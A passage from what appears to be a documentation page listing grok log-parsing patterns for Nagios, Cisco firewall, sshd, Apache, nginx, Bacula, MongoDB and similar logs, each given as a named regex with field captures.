%{NAGIOS_EC_ENABLE_HOST_NOTIFICATIONS:nagios_command};%{GREEDYDATA:nagios_hostname} ``` ## CISCOFW106021[โ€‹](#ciscofw106021 "Direct link to CISCOFW106021") Pattern : TEXTCOPY ``` %{CISCO_ACTION:action} %{WORD:protocol} reverse path check from %{IP:src_ip} to %{IP:dst_ip} on interface %{GREEDYDATA:interface} ``` ## NAGIOS\_EC\_LINE\_DISABLE\_HOST\_NOTIFICATIONS[โ€‹](#nagios_ec_line_disable_host_notifications "Direct link to NAGIOS_EC_LINE_DISABLE_HOST_NOTIFICATIONS") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_DISABLE_HOST_NOTIFICATIONS:nagios_command};%{GREEDYDATA:nagios_hostname} ``` ## RUBY\_LOGGER[โ€‹](#ruby_logger "Direct link to RUBY_LOGGER") Pattern : TEXTCOPY ``` [DFEWI], \[%{TIMESTAMP_ISO8601:timestamp} #%{POSINT:pid}\] *%{RUBY_LOGLEVEL:loglevel} -- +%{DATA:progname}: %{GREEDYDATA:message} ``` ## CISCOFW110002[โ€‹](#ciscofw110002 "Direct link to CISCOFW110002") Pattern : TEXTCOPY ``` %{CISCO_REASON:reason} for %{WORD:protocol} from %{DATA:src_interface}:%{IP:src_ip}/%{INT:src_port} to %{IP:dst_ip}/%{INT:dst_port} ``` ## NAGIOS\_EC\_LINE\_ENABLE\_HOST\_SVC\_NOTIFICATIONS[โ€‹](#nagios_ec_line_enable_host_svc_notifications "Direct link to NAGIOS_EC_LINE_ENABLE_HOST_SVC_NOTIFICATIONS") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_ENABLE_HOST_SVC_NOTIFICATIONS:nagios_command};%{GREEDYDATA:nagios_hostname} ``` ## NAGIOS\_EC\_LINE\_DISABLE\_HOST\_SVC\_NOTIFICATIONS[โ€‹](#nagios_ec_line_disable_host_svc_notifications "Direct link to NAGIOS_EC_LINE_DISABLE_HOST_SVC_NOTIFICATIONS") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_DISABLE_HOST_SVC_NOTIFICATIONS:nagios_command};%{GREEDYDATA:nagios_hostname} ``` ## HAPROXYHTTP[โ€‹](#haproxyhttp "Direct link to HAPROXYHTTP") Pattern : TEXTCOPY ``` (?:%{SYSLOGTIMESTAMP:syslog_timestamp}|%{TIMESTAMP_ISO8601:timestamp8601}) %{IPORHOST:syslog_server} %{SYSLOGPROG}: %{HAPROXYHTTPBASE} ``` ## SSHD\_RMAP\_FAIL[โ€‹](#sshd_rmap_fail "Direct link to SSHD_RMAP_FAIL") Pattern : TEXTCOPY ``` reverse mapping checking getaddrinfo for %{HOSTNAME:sshd_client_hostname} \[%{IP:sshd_client_ip}\] failed - POSSIBLE BREAK-IN ATTEMPT! ``` ## SYSLOGBASE2[โ€‹](#syslogbase2 "Direct link to SYSLOGBASE2") Pattern : TEXTCOPY ``` (?:%{SYSLOGTIMESTAMP:timestamp}|%{TIMESTAMP_ISO8601:timestamp8601}) (?:%{SYSLOGFACILITY} )?%{SYSLOGHOST:logsource}+(?: %{SYSLOGPROG}:|) ``` ## SSHD\_USER\_FAIL[โ€‹](#sshd_user_fail "Direct link to SSHD_USER_FAIL") Pattern : TEXTCOPY ``` Failed password for invalid user %{USERNAME:sshd_invalid_user} from %{IP:sshd_client_ip} port %{NUMBER:sshd_port} %{WORD:sshd_protocol} ``` ## NAGIOS\_EC\_LINE\_ENABLE\_SVC\_CHECK[โ€‹](#nagios_ec_line_enable_svc_check "Direct link to NAGIOS_EC_LINE_ENABLE_SVC_CHECK") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_ENABLE_SVC_CHECK:nagios_command};%{DATA:nagios_hostname};%{DATA:nagios_service} ``` ## SSHD\_NORMAL\_LOG[โ€‹](#sshd_normal_log "Direct link to SSHD_NORMAL_LOG") Pattern : TEXTCOPY ``` %{SSHD_SUCCESS}|%{SSHD_DISCONNECT}|%{SSHD_CONN_CLOSE}|%{SSHD_SESSION_OPEN}|%{SSHD_SESSION_CLOSE}|%{SSHD_SESSION_FAIL}|%{SSHD_LOGOUT_ERR} ``` ## SSHD\_FAIL[โ€‹](#sshd_fail "Direct link to SSHD_FAIL") Pattern : TEXTCOPY ``` Failed %{WORD:sshd_auth_type} for %{USERNAME:sshd_invalid_user} from %{IP:sshd_client_ip} port %{NUMBER:sshd_port} %{WORD:sshd_protocol} ``` ## CISCO\_REASON[โ€‹](#cisco_reason "Direct link to CISCO_REASON") Pattern : TEXTCOPY ``` Duplicate TCP SYN|Failed to locate egress interface|Invalid transport field|No matching connection|DNS Response|DNS Query|(?:%{WORD}\s*)* ``` ## NAGIOS\_EC\_LINE\_DISABLE\_SVC\_CHECK[โ€‹](#nagios_ec_line_disable_svc_check "Direct link to NAGIOS_EC_LINE_DISABLE_SVC_CHECK") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_DISABLE_SVC_CHECK:nagios_command};%{DATA:nagios_hostname};%{DATA:nagios_service} ``` ## SSHD\_CORRUPTED[โ€‹](#sshd_corrupted "Direct link to SSHD_CORRUPTED") Pattern : TEXTCOPY ``` %{SSHD_IDENT_FAIL}|%{SSHD_MAPB_FAIL}|%{SSHD_RMAP_FAIL}|%{SSHD_TOOMANY_AUTH}|%{SSHD_CORRUPT_MAC}|%{SSHD_PACKET_CORRUPT}|%{SSHD_BAD_VERSION} ``` ## SSHD\_DISCONNECT[โ€‹](#sshd_disconnect "Direct link to SSHD_DISCONNECT") Pattern : TEXTCOPY ``` Received disconnect from %{IP:sshd_client_ip} port %{NUMBER:sshd_port}:%{NUMBER:sshd_disconnect_code}: %{GREEDYDATA:sshd_disconnect_status} ``` ## BACULA\_LOG\_NO\_CONNECT[โ€‹](#bacula_log_no_connect "Direct link to BACULA_LOG_NO_CONNECT") Pattern : TEXTCOPY ``` Warning: bsock.c:127 Could not connect to (Client: %{BACULA_HOST:client}|Storage daemon) on %{HOSTNAME}:%{POSINT}. ERR=%{GREEDYDATA:berror} ``` ## SSHD\_MAPB\_FAIL[โ€‹](#sshd_mapb_fail "Direct link to SSHD_MAPB_FAIL") Pattern : TEXTCOPY ``` Address %{IP:sshd_client_ip} maps to %{HOSTNAME:sshd_client_hostname}, but this does not map back to the address - POSSIBLE BREAK-IN ATTEMPT! ``` ## SSHD\_TCPWRAP\_FAIL2[โ€‹](#sshd_tcpwrap_fail2 "Direct link to SSHD_TCPWRAP_FAIL2") Pattern : TEXTCOPY ``` warning: %{DATA:sshd_tcpd_file}, line %{NUMBER}: host name/address mismatch: %{IPORHOST:sshd_client_ip} != %{HOSTNAME:sshd_paranoid_hostname} ``` ## MONGO3\_LOG[โ€‹](#mongo3_log "Direct link to MONGO3_LOG") Pattern : TEXTCOPY ``` %{TIMESTAMP_ISO8601:timestamp} %{MONGO3_SEVERITY:severity} %{MONGO3_COMPONENT:component}%{SPACE}(?:\[%{DATA:context}\])? %{GREEDYDATA:message} ``` ## BACULA\_LOG\_FATAL\_CONN[โ€‹](#bacula_log_fatal_conn "Direct link to BACULA_LOG_FATAL_CONN") Pattern : TEXTCOPY ``` Fatal error: bsock.c:133 Unable to connect to (Client: %{BACULA_HOST:client}|Storage daemon) on %{HOSTNAME}:%{POSINT}. ERR=%{GREEDYDATA:berror} ``` ## SSHD\_TCPWRAP\_FAIL4[โ€‹](#sshd_tcpwrap_fail4 "Direct link to SSHD_TCPWRAP_FAIL4") Pattern : TEXTCOPY ``` warning: %{DATA:sshd_tcpd_file}, line %{NUMBER}: host name/name mismatch: reverse lookup results in non-FQDN %{HOSTNAME:sshd_paranoid_hostname} ``` ## NAGIOS\_PASSIVE\_SERVICE\_CHECK[โ€‹](#nagios_passive_service_check "Direct link to NAGIOS_PASSIVE_SERVICE_CHECK") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_PASSIVE_SERVICE_CHECK:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{GREEDYDATA:nagios_comment} ``` ## CISCOFW710001\_710002\_710003\_710005\_710006[โ€‹](#ciscofw710001_710002_710003_710005_710006 "Direct link to CISCOFW710001_710002_710003_710005_710006") Pattern : TEXTCOPY ``` %{WORD:protocol} (?:request|access) %{CISCO_ACTION:action} from %{IP:src_ip}/%{INT:src_port} to %{DATA:dst_interface}:%{IP:dst_ip}/%{INT:dst_port} ``` ## NAGIOS\_SERVICE\_FLAPPING\_ALERT[โ€‹](#nagios_service_flapping_alert "Direct link to NAGIOS_SERVICE_FLAPPING_ALERT") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_SERVICE_FLAPPING_ALERT:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{GREEDYDATA:nagios_message} ``` ## NAGIOS\_SERVICE\_DOWNTIME\_ALERT[โ€‹](#nagios_service_downtime_alert "Direct link to NAGIOS_SERVICE_DOWNTIME_ALERT") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_SERVICE_DOWNTIME_ALERT:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{GREEDYDATA:nagios_comment} ``` ## TCPDUMP\_OUTPUT[โ€‹](#tcpdump_output "Direct link to TCPDUMP_OUTPUT") Pattern : TEXTCOPY ``` %{GREEDYDATA:timestamp} IP %{IPORHOST:source_ip}\.%{INT:source_port} > %{IPORHOST:dest_ip}\.%{INT:dest_port}: Flags \[%{GREEDYDATA:tcpflags}\], seq ``` ## SSHD\_TCPWRAP\_FAIL1[โ€‹](#sshd_tcpwrap_fail1 "Direct link to SSHD_TCPWRAP_FAIL1") Pattern : TEXTCOPY ``` warning: %{DATA:sshd_tcpd_file}, line %{NUMBER}: can't verify hostname: getaddrinfo\(%{DATA:sshd_paranoid_hostname}, %{DATA:sshd_sa_family}\) failed ``` ## SSHD\_FAIL\_PREAUTH[โ€‹](#sshd_fail_preauth "Direct link to SSHD_FAIL_PREAUTH") Pattern : TEXTCOPY ``` fatal: Unable to negotiate with %{IP:sshd_client_ip} port %{NUMBER:sshd_port}:\s*%{GREEDYDATA:sshd_disconnect_status}? \[%{GREEDYDATA:sshd_privsep}\] ``` ## SSHD\_TCPWRAP\_FAIL3[โ€‹](#sshd_tcpwrap_fail3 "Direct link to SSHD_TCPWRAP_FAIL3") Pattern : TEXTCOPY ``` warning: %{DATA:sshd_tcpd_file}, line %{NUMBER}: host name/name mismatch: %{HOSTNAME:sshd_paranoid_hostname_1} != %{HOSTNAME:sshd_paranoid_hostname_2} ``` ## NAGIOS\_EC\_LINE\_ENABLE\_SVC\_NOTIFICATIONS[โ€‹](#nagios_ec_line_enable_svc_notifications "Direct link to NAGIOS_EC_LINE_ENABLE_SVC_NOTIFICATIONS") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_ENABLE_SVC_NOTIFICATIONS:nagios_command};%{DATA:nagios_hostname};%{GREEDYDATA:nagios_service} ``` ## NAGIOS\_EC\_LINE\_DISABLE\_SVC\_NOTIFICATIONS[โ€‹](#nagios_ec_line_disable_svc_notifications "Direct link to NAGIOS_EC_LINE_DISABLE_SVC_NOTIFICATIONS") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_DISABLE_SVC_NOTIFICATIONS:nagios_command};%{DATA:nagios_hostname};%{GREEDYDATA:nagios_service} ``` ## NAGIOS\_HOST\_EVENT\_HANDLER[โ€‹](#nagios_host_event_handler "Direct link to NAGIOS_HOST_EVENT_HANDLER") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_HOST_EVENT_HANDLER:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_state};%{DATA:nagios_statelevel};%{DATA:nagios_event_handler_name} ``` ## CISCOFW313001\_313004\_313008[โ€‹](#ciscofw313001_313004_313008 "Direct link to CISCOFW313001_313004_313008") Pattern : TEXTCOPY ``` %{CISCO_ACTION:action} %{WORD:protocol} type=%{INT:icmp_type}, code=%{INT:icmp_code} from %{IP:src_ip} on interface %{DATA:interface}( to %{IP:dst_ip})? ``` ## BACULA\_LOG\_END\_VOLUME[โ€‹](#bacula_log_end_volume "Direct link to BACULA_LOG_END_VOLUME") Pattern : TEXTCOPY ``` End of medium on Volume \"%{BACULA_VOLUME:volume}\" Bytes=%{BACULA_CAPACITY} Blocks=%{BACULA_CAPACITY} at %{MONTHDAY}-%{MONTH}-%{YEAR} %{HOUR}:%{MINUTE}. ``` ## SSHD\_SUCCESS[โ€‹](#sshd_success "Direct link to SSHD_SUCCESS") Pattern : TEXTCOPY ``` Accepted %{WORD:sshd_auth_type} for %{USERNAME:sshd_user} from %{IP:sshd_client_ip} port %{NUMBER:sshd_port} %{WORD:sshd_protocol}: %{GREEDYDATA:sshd_cipher} ``` ## SMB\_AUTH\_FAIL[โ€‹](#smb_auth_fail "Direct link to SMB_AUTH_FAIL") Pattern : TEXTCOPY ``` Auth:%{GREEDYDATA} user \[%{DATA:smb_domain}\]\\\[%{DATA:user}\]%{GREEDYDATA} status \[NT_STATUS_NO_SUCH_USER\]%{GREEDYDATA} remote host \[ipv4:%{IP:ip_source} ``` ## BACULA\_LOG\_NEW\_MOUNT[โ€‹](#bacula_log_new_mount "Direct link to BACULA_LOG_NEW_MOUNT") Pattern : TEXTCOPY ``` New volume \"%{BACULA_VOLUME:volume}\" mounted on device \"%{BACULA_DEVICE:device}\" \(%{BACULA_DEVICEPATH}\) at %{MONTHDAY}-%{MONTH}-%{YEAR} %{HOUR}:%{MINUTE}. ``` ## NAGIOS\_HOST\_ALERT[โ€‹](#nagios_host_alert "Direct link to NAGIOS_HOST_ALERT") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_HOST_ALERT:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_state};%{DATA:nagios_statelevel};%{NUMBER:nagios_attempt};%{GREEDYDATA:nagios_message} ``` ## NAGIOS\_HOST\_NOTIFICATION[โ€‹](#nagios_host_notification "Direct link to NAGIOS_HOST_NOTIFICATION") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_HOST_NOTIFICATION:nagios_type}: %{DATA:nagios_notifyname};%{DATA:nagios_hostname};%{DATA:nagios_state};%{DATA:nagios_contact};%{GREEDYDATA:nagios_message} ``` ## SYSLOGPAMSESSION[โ€‹](#syslogpamsession "Direct link to SYSLOGPAMSESSION") Pattern : TEXTCOPY ``` %{SYSLOGBASE} %{GREEDYDATA:message}%{WORD:pam_module}\(%{DATA:pam_caller}\): session %{WORD:pam_session_state} for user %{USERNAME:username}(?: by %{GREEDYDATA:pam_by})? ``` ## NAGIOS\_CURRENT\_HOST\_STATE[โ€‹](#nagios_current_host_state "Direct link to NAGIOS_CURRENT_HOST_STATE") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_CURRENT_HOST_STATE:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_state};%{DATA:nagios_statetype};%{DATA:nagios_statecode};%{GREEDYDATA:nagios_message} ``` ## CISCOFW419002[โ€‹](#ciscofw419002 "Direct link to CISCOFW419002") Pattern : TEXTCOPY ``` %{CISCO_REASON:reason} from %{DATA:src_interface}:%{IP:src_ip}/%{INT:src_port} to %{DATA:dst_interface}:%{IP:dst_ip}/%{INT:dst_port} with different initial sequence number ``` ## IPV4[โ€‹](#ipv4 "Direct link to IPV4") Pattern : TEXTCOPY ``` (?:(?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])[.](?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])[.](?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])[.](?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])) ``` ## SSHD\_FAI2\_PREAUTH[โ€‹](#sshd_fai2_preauth "Direct link to SSHD_FAI2_PREAUTH") Pattern : TEXTCOPY ``` fatal: %{GREEDYDATA:sshd_fatal_status}: Connection from %{IP:sshd_client_ip} port %{NUMBER:sshd_port}:\s*%{GREEDYDATA:sshd_disconnect_status}? \[%{GREEDYDATA:sshd_privsep}\] ``` ## APACHEERRORPREFIX[โ€‹](#apacheerrorprefix "Direct link to APACHEERRORPREFIX") Pattern : TEXTCOPY ``` \[%{APACHEERRORTIME:timestamp}\] \[%{NOTSPACE:apacheseverity}\] (\[pid %{INT}:tid %{INT}\] )?\[client %{IPORHOST:sourcehost}(:%{INT:source_port})?\] (\[client %{IPORHOST}\])? ``` ## NAGIOS\_SERVICE\_EVENT\_HANDLER[โ€‹](#nagios_service_event_handler "Direct link to NAGIOS_SERVICE_EVENT_HANDLER") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_SERVICE_EVENT_HANDLER:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{DATA:nagios_statelevel};%{DATA:nagios_event_handler_name} ``` ## NAGIOS\_EC\_LINE\_PROCESS\_HOST\_CHECK\_RESULT[โ€‹](#nagios_ec_line_process_host_check_result "Direct link to NAGIOS_EC_LINE_PROCESS_HOST_CHECK_RESULT") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_PROCESS_HOST_CHECK_RESULT:nagios_command};%{DATA:nagios_hostname};%{DATA:nagios_state};%{GREEDYDATA:nagios_check_result} ``` ## NAXSI\_EXLOG[โ€‹](#naxsi_exlog "Direct link to NAXSI_EXLOG") Pattern : TEXTCOPY ``` ^NAXSI_EXLOG: ip=%{IPORHOST:naxsi_src_ip}&server=%{IPORHOST:naxsi_dst_ip}&uri=%{PATH:http_path}&id=%{INT:naxsi_id}&zone=%{WORD:naxsi_zone}&var_name=%{DATA:naxsi_var_name}&content= ``` ## SSHD\_PROBE\_LOG[โ€‹](#sshd_probe_log "Direct link to SSHD_PROBE_LOG") Pattern : TEXTCOPY ``` %{SSHD_REFUSE_CONN}|%{SSHD_TCPWRAP_FAIL1}|%{SSHD_TCPWRAP_FAIL2}|%{SSHD_TCPWRAP_FAIL3}|%{SSHD_TCPWRAP_FAIL4}|%{SSHD_TCPWRAP_FAIL5}|%{SSHD_FAIL}|%{SSHD_USER_FAIL}|%{SSHD_INVAL_USER} ``` ## MONTH[โ€‹](#month "Direct link to MONTH") Pattern : TEXTCOPY ``` \bJan(?:uary|uar)?|Feb(?:ruary|ruar)?|M(?:a|รค)?r(?:ch|z)?|Apr(?:il)?|Ma(?:y|i)?|Jun(?:e|i)?|Jul(?:y)?|Aug(?:ust)?|Sep(?:tember)?|O(?:c|k)?t(?:ober)?|Nov(?:ember)?|De(?:c|z)(?:ember)?\b ``` ## CISCOFW419001[โ€‹](#ciscofw419001 "Direct link to CISCOFW419001") Pattern : TEXTCOPY ``` %{CISCO_ACTION:action} %{WORD:protocol} packet from %{DATA:src_interface}:%{IP:src_ip}/%{INT:src_port} to %{DATA:dst_interface}:%{IP:dst_ip}/%{INT:dst_port}, reason: %{GREEDYDATA:reason} ``` ## SSHD\_PREAUTH[โ€‹](#sshd_preauth "Direct link to SSHD_PREAUTH") Pattern : TEXTCOPY ``` %{SSHD_DISC_PREAUTH}|%{SSHD_MAXE_PREAUTH}|%{SSHD_DISR_PREAUTH}|%{SSHD_INVA_PREAUTH}|%{SSHD_REST_PREAUTH}|%{SSHD_FAIL_PREAUTH}|%{SSHD_CLOS_PREAUTH}|%{SSHD_FAI2_PREAUTH}|%{SSHD_BADL_PREAUTH} ``` ## NAGIOS\_SERVICE\_ALERT[โ€‹](#nagios_service_alert "Direct link to NAGIOS_SERVICE_ALERT") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_SERVICE_ALERT:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{DATA:nagios_statelevel};%{NUMBER:nagios_attempt};%{GREEDYDATA:nagios_message} ``` ## CISCOFW106015[โ€‹](#ciscofw106015 "Direct link to CISCOFW106015") Pattern : TEXTCOPY ``` %{CISCO_ACTION:action} %{WORD:protocol} \(%{DATA:policy_id}\) from %{IP:src_ip}/%{INT:src_port} to %{IP:dst_ip}/%{INT:dst_port} flags %{DATA:tcp_flags} on interface %{GREEDYDATA:interface} ``` ## CISCOFW602303\_602304[โ€‹](#ciscofw602303_602304 "Direct link to CISCOFW602303_602304") Pattern : TEXTCOPY ``` %{WORD:protocol}: An %{CISCO_DIRECTION:direction} %{GREEDYDATA:tunnel_type} SA \(SPI= %{DATA:spi}\) between %{IP:src_ip} and %{IP:dst_ip} \(user= %{DATA:user}\) has been %{CISCO_ACTION:action} ``` ## NAGIOS\_SERVICE\_NOTIFICATION[โ€‹](#nagios_service_notification "Direct link to NAGIOS_SERVICE_NOTIFICATION") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_SERVICE_NOTIFICATION:nagios_type}: %{DATA:nagios_notifyname};%{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{DATA:nagios_contact};%{GREEDYDATA:nagios_message} ``` ## RT\_FLOW3[โ€‹](#rt_flow3 "Direct link to RT_FLOW3") Pattern : TEXTCOPY ``` %{RT_FLOW_EVENT:event}: session denied %{IP:src-ip}/%{INT:src-port}->%{IP:dst-ip}/%{INT:dst-port} %{DATA:service} %{INT:protocol-id}\(\d\) %{DATA:policy-name} %{DATA:from-zone} %{DATA:to-zone} .* ``` ## NAGIOS\_CURRENT\_SERVICE\_STATE[โ€‹](#nagios_current_service_state "Direct link to NAGIOS_CURRENT_SERVICE_STATE") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_CURRENT_SERVICE_STATE:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{DATA:nagios_statetype};%{DATA:nagios_statecode};%{GREEDYDATA:nagios_message} ``` ## CISCOFW713172[โ€‹](#ciscofw713172 "Direct link to CISCOFW713172") Pattern : TEXTCOPY ``` Group = %{GREEDYDATA:group}, IP = %{IP:src_ip}, Automatic NAT Detection Status:\s+Remote end\s*%{DATA:is_remote_natted}\s*behind a NAT device\s+This\s+end\s*%{DATA:is_local_natted}\s*behind a NAT device ``` ## CISCOFW402119[โ€‹](#ciscofw402119 "Direct link to CISCOFW402119") Pattern : TEXTCOPY ``` %{WORD:protocol}: Received an %{WORD:orig_protocol} packet \(SPI= %{DATA:spi}, sequence number= %{DATA:seq_num}\) from %{IP:src_ip} \(user= %{DATA:user}\) to %{IP:dst_ip} that failed anti-replay checking ``` ## NAGIOS\_EC\_LINE\_PROCESS\_SERVICE\_CHECK\_RESULT[โ€‹](#nagios_ec_line_process_service_check_result "Direct link to NAGIOS_EC_LINE_PROCESS_SERVICE_CHECK_RESULT") Pattern : TEXTCOPY ``` %{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_PROCESS_SERVICE_CHECK_RESULT:nagios_command};%{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{GREEDYDATA:nagios_check_result} ``` ## COMMONAPACHELOG[โ€‹](#commonapachelog "Direct link to COMMONAPACHELOG") Pattern : TEXTCOPY ``` %{IPORHOST:clientip} %{HTTPDUSER:ident} %{USER:auth} \[%{HTTPDATE:timestamp}\] "(?:%{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{NUMBER:httpversion})?|%{DATA:rawrequest})" %{NUMBER:response} (?:%{NUMBER:bytes}|-) ``` ## SSHD\_MAXE\_PREAUTH[โ€‹](#sshd_maxe_preauth "Direct link to SSHD_MAXE_PREAUTH") Pattern : TEXTCOPY ``` error: maximum authentication attempts exceeded for (?:invalid user |)%{USERNAME:sshd_invalid_user} from %{IP:sshd_client_ip} port %{NUMBER:sshd_port} %{WORD:sshd_protocol}\s*(?:\[%{GREEDYDATA:sshd_privsep}\]|) ``` ## CISCOFW106001[โ€‹](#ciscofw106001 "Direct link to CISCOFW106001") Pattern : TEXTCOPY ``` %{CISCO_DIRECTION:direction} %{WORD:protocol} connection %{CISCO_ACTION:action} from %{IP:src_ip}/%{INT:src_port} to %{IP:dst_ip}/%{INT:dst_port} flags %{GREEDYDATA:tcp_flags} on interface %{GREEDYDATA:interface} ``` ## LOGLEVEL[โ€‹](#loglevel "Direct link to LOGLEVEL") Pattern : TEXTCOPY ``` [Aa]lert|ALERT|[Tt]race|TRACE|[Dd]ebug|DEBUG|[Nn]otice|NOTICE|[Ii]nfo|INFO|[Ww]arn?(?:ing)?|WARN?(?:ING)?|[Ee]rr?(?:or)?|ERR?(?:OR)?|[Cc]rit?(?:ical)?|CRIT?(?:ICAL)?|[Ff]atal|FATAL|[Ss]evere|SEVERE|EMERG(?:ENCY)?|[Ee]merg(?:ency)? ``` ## CISCOFW305011[โ€‹](#ciscofw305011 "Direct link to CISCOFW305011") Pattern : TEXTCOPY ``` %{CISCO_ACTION:action} %{CISCO_XLATE_TYPE:xlate_type} %{WORD:protocol} translation from %{DATA:src_interface}:%{IP:src_ip}(/%{INT:src_port})?(\(%{DATA:src_fwuser}\))? to %{DATA:src_xlated_interface}:%{IP:src_xlated_ip}/%{DATA:src_xlated_port} ``` ## MONGO\_SLOWQUERY[โ€‹](#mongo_slowquery "Direct link to MONGO_SLOWQUERY") Pattern : TEXTCOPY ``` %{WORD} %{MONGO_WORDDASH:database}\.%{MONGO_WORDDASH:collection} %{WORD}: %{MONGO_QUERY:query} %{WORD}:%{NONNEGINT:ntoreturn} %{WORD}:%{NONNEGINT:ntoskip} %{WORD}:%{NONNEGINT:nscanned}.*nreturned:%{NONNEGINT:nreturned}..+ %{POSINT:duration}ms ``` ## NAXSI\_FMT[โ€‹](#naxsi_fmt "Direct link to NAXSI_FMT") Pattern : TEXTCOPY ``` ^NAXSI_FMT: ip=%{IPORHOST:src_ip}&server=%{IPORHOST:target_ip}&uri=%{PATH:http_path}&learning=\d&vers=%{DATA:naxsi_version}&total_processed=\d+&total_blocked=\d+&block=\d+(&cscore\d=%{WORD:score_label}&score\d=%{INT:score})+&zone0=%{WORD:zone} ``` ## CISCOFW106014[โ€‹](#ciscofw106014 "Direct link to CISCOFW106014") Pattern : TEXTCOPY ``` %{CISCO_ACTION:action} %{CISCO_DIRECTION:direction} %{WORD:protocol} src %{DATA:src_interface}:%{IP:src_ip}(\(%{DATA:src_fwuser}\))? dst %{DATA:dst_interface}:%{IP:dst_ip}(\(%{DATA:dst_fwuser}\))? \(type %{INT:icmp_type}, code %{INT:icmp_code}\) ``` ## NGINXACCESS[โ€‹](#nginxaccess "Direct link to NGINXACCESS") Pattern : TEXTCOPY ``` %{IPORHOST:remote_addr} - %{NGUSER:remote_user} \[%{HTTPDATE:time_local}\] "%{WORD:method} %{URIPATHPARAM:request} HTTP/%{NUMBER:http_version}" %{NUMBER:status} %{NUMBER:body_bytes_sent} "%{NOTDQUOTE:http_referer}" "%{NOTDQUOTE:http_user_agent}" ``` ## EXIM\_EXCLUDE\_TERMS[โ€‹](#exim_exclude_terms "Direct link to EXIM_EXCLUDE_TERMS") Pattern : TEXTCOPY ``` (Message is frozen|(Start|End) queue run| Warning: | retry time not reached | no (IP address|host name) found for (IP address|host) | unexpected disconnection while reading SMTP command | no immediate delivery: |another process is handling this message) ``` ## CISCOFW302020\_302021[โ€‹](#ciscofw302020_302021 "Direct link to CISCOFW302020_302021") Pattern : TEXTCOPY ``` %{CISCO_ACTION:action}(?: %{CISCO_DIRECTION:direction})? %{WORD:protocol} connection for faddr %{IP:dst_ip}/%{INT:icmp_seq_num}(?:\(%{DATA:fwuser}\))? gaddr %{IP:src_xlated_ip}/%{INT:icmp_code_xlated} laddr %{IP:src_ip}/%{INT:icmp_code}( \(%{DATA:user}\))? ``` ## CISCOFW106006\_106007\_106010[โ€‹](#ciscofw106006_106007_106010 "Direct link to CISCOFW106006_106007_106010") Pattern : TEXTCOPY ``` %{CISCO_ACTION:action} %{CISCO_DIRECTION:direction} %{WORD:protocol} (?:from|src) %{IP:src_ip}/%{INT:src_port}(\(%{DATA:src_fwuser}\))? (?:to|dst) %{IP:dst_ip}/%{INT:dst_port}(\(%{DATA:dst_fwuser}\))? (?:on interface %{DATA:interface}|due to %{CISCO_REASON:reason}) ``` ## HTTPD24\_ERRORLOG[โ€‹](#httpd24_errorlog "Direct link to HTTPD24_ERRORLOG") Pattern : TEXTCOPY ``` \[%{HTTPDERROR_DATE:timestamp}\] \[%{WORD:module}:%{LOGLEVEL:loglevel}\] \[pid %{POSINT:pid}:tid %{NUMBER:tid}\]( \(%{POSINT:proxy_errorcode}\)%{DATA:proxy_errormessage}:)?( \[client %{IPORHOST:client}:%{POSINT:clientport}\])? %{DATA:errorcode}: %{GREEDYDATA:message} ``` ## MODSECAPACHEERROR[โ€‹](#modsecapacheerror "Direct link to MODSECAPACHEERROR") Pattern : TEXTCOPY ``` %{MODSECPREFIX} %{MODSECRULEFILE} %{MODSECRULELINE} (?:%{MODSECMATCHOFFSET} )?(?:%{MODSECRULEID} )?(?:%{MODSECRULEREV} )?(?:%{MODSECRULEMSG} )?(?:%{MODSECRULEDATA} )?(?:%{MODSECRULESEVERITY} )?(?:%{MODSECRULEVERS} )?%{MODSECRULETAGS}%{MODSECHOSTNAME} %{MODSECURI} %{MODSECUID} ``` ## NAGIOS\_EC\_LINE\_SCHEDULE\_HOST\_DOWNTIME[โ€‹](#nagios_ec_line_schedule_host_downtime "Direct link to NAGIOS_EC_LINE_SCHEDULE_HOST_DOWNTIME") Pattern : TEXTCOPY ``` 